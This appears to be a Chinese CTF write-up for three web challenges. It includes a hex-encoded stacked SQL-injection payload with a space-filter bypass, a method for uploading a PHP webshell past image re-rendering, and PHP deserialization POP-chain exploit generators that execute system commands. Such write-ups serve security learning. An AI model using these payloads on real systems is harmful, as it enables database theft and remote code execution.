ez_sqli
先找注入点,发现更改order by会有注入点
给了很多的提示,大致就是堆叠+报错+execute执行
很推荐去看一下https://xz.aliyun.com/t/10594#toc-5
这个脚本就差不多是payload了,但ez_sqli把空格过滤了,可以用/**/绕过
源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| from flask import Flask, render_template, request import MySQLdb import re
blacklist = ['select', 'update', 'insert', 'delete', 'database', 'table', 'column', 'alter', 'create', 'drop', 'and', 'or', 'xor', 'if', 'else', 'then', 'where']//过滤的字符
conn = MySQLdb.connect(host='db', port=3306, user='root', passwd='root', db='ctf')
app = Flask(__name__)
@app.route('/') def index(): field = request.args.get('order', 'id') field = re.sub(r'\s+', '', field)//过滤了空格,用/**/绕过
for s in blacklist: if s.lower() in field.lower(): return s + ' are banned'
if not re.match(r"id|name|email", field): field = 'id'
with conn.cursor() as cursor: cursor.execute('SELECT * FROM userinfo order by %s' % field)//数字型注入 res = cursor.fetchall()
return render_template('index.html', res=res)
if __name__ == '__main__': app.run(host='0.0.0.0', port=8000, debug=True)
|
1
| payload:id;set@a=0x73656c656374206578747261637476616c756528312c636f6e63617428307837652c2873656c65637420666c61672066726f6d20666c6167292929;preparectftestfrom@a;executectftest;
|
ez_upload
提示
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
| <?php error_reporting(0); session_start();
$user_dir = 'uploads/'.md5($_SERVER['REMOTE_ADDR']).'/';
if (!file_exists($user_dir)) { mkdir($user_dir); }
switch ($_FILES['file']['type']) { case "image/gif": $source = imagecreatefromgif($_FILES['file']['tmp_name']); break; case "image/jpeg": $source = imagecreatefromjpeg($_FILES['file']['tmp_name']); break; case "image/png": $source = imagecreatefrompng($_FILES['file']['tmp_name']); break; default: die('Invalid file type!'); }
$ext = pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION);#a.gif.php $filepath = $user_dir.md5($_FILES['file']['name']).'.'.$ext;
switch ($_FILES['file']['type']) { case "image/gif": imagegif($source, $filepath); break; case "image/jpeg": imagejpeg($source, $filepath); break; case "image/png": imagepng($source, $filepath); break; default: die('Invalid file type!'); }
echo 'Upload avatar success! Path: '.$filepath;
$_SESSION['avatar'] = $filepath; ?>
|
根据源码的 $source = imagecreatefromgif($_FILES[‘file’][‘tmp_name’]);和imagegif($source, $filepath);可以知道是图像的二次渲染类型的文件上传漏洞。
根据$ext = pathinfo($_FILES[‘file’][‘name’], PATHINFO_EXTENSION);
$filepath = $user_dir.md5($_FILES[‘file’][‘name’]FILES[‘file’][‘name’], PATHINFO_EXTENSION);_只返回最后一个点号后面的后缀(如果文件是a.gif.php就返回php)
然后根据$filepath = $user_dir.md5($_FILES[‘file’][‘name’]).’.’.$ext;拼接到新文件的末尾。我们先根据图片二次渲染的文件上传知识点做一个一句话木马,具体可以参考https://blog.csdn.net/qq_40800734/article/details/105920149
然后进行抓包上传绕过
最后可以连接木马了
ez_unserialize
果然反序列化的题目都很烦,链子看着我头大
考点为:反序列化 fast destruct 绕过**__wakeup**
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125
| <?php
class Cache { public $key; public $value; public $expired; public $helper;
public function __construct($key, $value, $helper) { $this->key = $key; $this->value = $value; $this->helper = $helper;
$this->expired = False; }
public function expired() { if ($this->expired) { $this->helper->clean($this->key); return True; } else { return False; } } }
class Storage { public $store;
public function __construct() { $this->store = array(); }
public function __set($name, $value) { if (!$this->store) { $this->store = array(); }
if (!$value->expired()) { $this->store[$name] = $value; } }
public function __get($name) { return $this->data[$name]; } }
class Helper { public $funcs;
public function __construct($funcs) { $this->funcs = $funcs; }
public function __call($name, $args) { $this->funcs[$name](...$args); } }
class DataObject { public $storage; public $data;
public function __destruct() { foreach ($this->data as $key => $value) { $this->storage->$key = $value; } } }
if (isset($_GET['u'])) { $a = unserialize($_GET['u']); } else{ show_source(__FILE__); } <?php
class Cache { public $key; public $value; public $expired; public $helper; }
class Storage { public $store; }
class Helper { public $funcs; }
class DataObject { public $storage; public $data; }
$cache = new Cache(); $storage = new Storage(); $helper = new Helper(); $dataobject = new DataObject();
$cache->expired = True; $cache->helper = $helper; $cache->key = "cat /proc/self/environ"; $cache->value = "hack";
$helper->funcs = ["clean" => "system"];
$dataobject->storage = $storage; $dataobject->data = ["test" => $cache];
echo serialize($dataobject);
|
最后的payload要在exp生成的字符串删去一个}
实现 fast destruct
或者使用地址引用绕过__wakeup
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88
| <?php
show_source(__FILE__);
class Cache { public $key; public $value; public $expired; public $helper;
public function __construct($key, $value, $helper) { $this->key = $key; $this->value = $value; $this->helper = $helper;
$this->expired = False; }
public function __wakeup() { $this->expired =False; // print(1); }
public function expired() { if ($this->expired) { $this->helper->clean($this->key);//this->helper=Helper 2 return True; } else { return False; } } }
class Storage { public $store;
public function __construct() { $this->store = array(); }
public function __set($name, $value) { if (!$this->store) { $this->store = array(); }
if (!$value->expired()) { $this->store[$name] = $value;//3 } }
public function __get($name) { return $this->data[$name]; } }
class Helper { public $funcs;
public function __construct($funcs) { $this->funcs = $funcs; }
public function __call($name, $args) { $this->funcs[$name](...$args); //1 } }
class DataObject { public $storage; public $data;
public function __destruct() { foreach ($this->data as $key => $value) { $this->storage->$key = $value;//4 this->storage=Storage,key="xxx“,value=Cache } } } if (isset($_GET['u'])) { unserialize($_GET['u']); } $helper=new Helper(array("clean"=>"system")); $cache=new Cache("ls","xxx",$helper); $storage=new Storage(); $dataobject=new DataObject(); $dataobject->data=array("store"=>array("x"=>"x"),"xx"=>$cache); $dataobject->storage=$storage; $cache->expired=&$storage->store; echo serialize($dataobject);
|
POP 链子如下
1
| DataObject::__destruct --> Storage::__set --> Cache::expired --> Helper::__call
|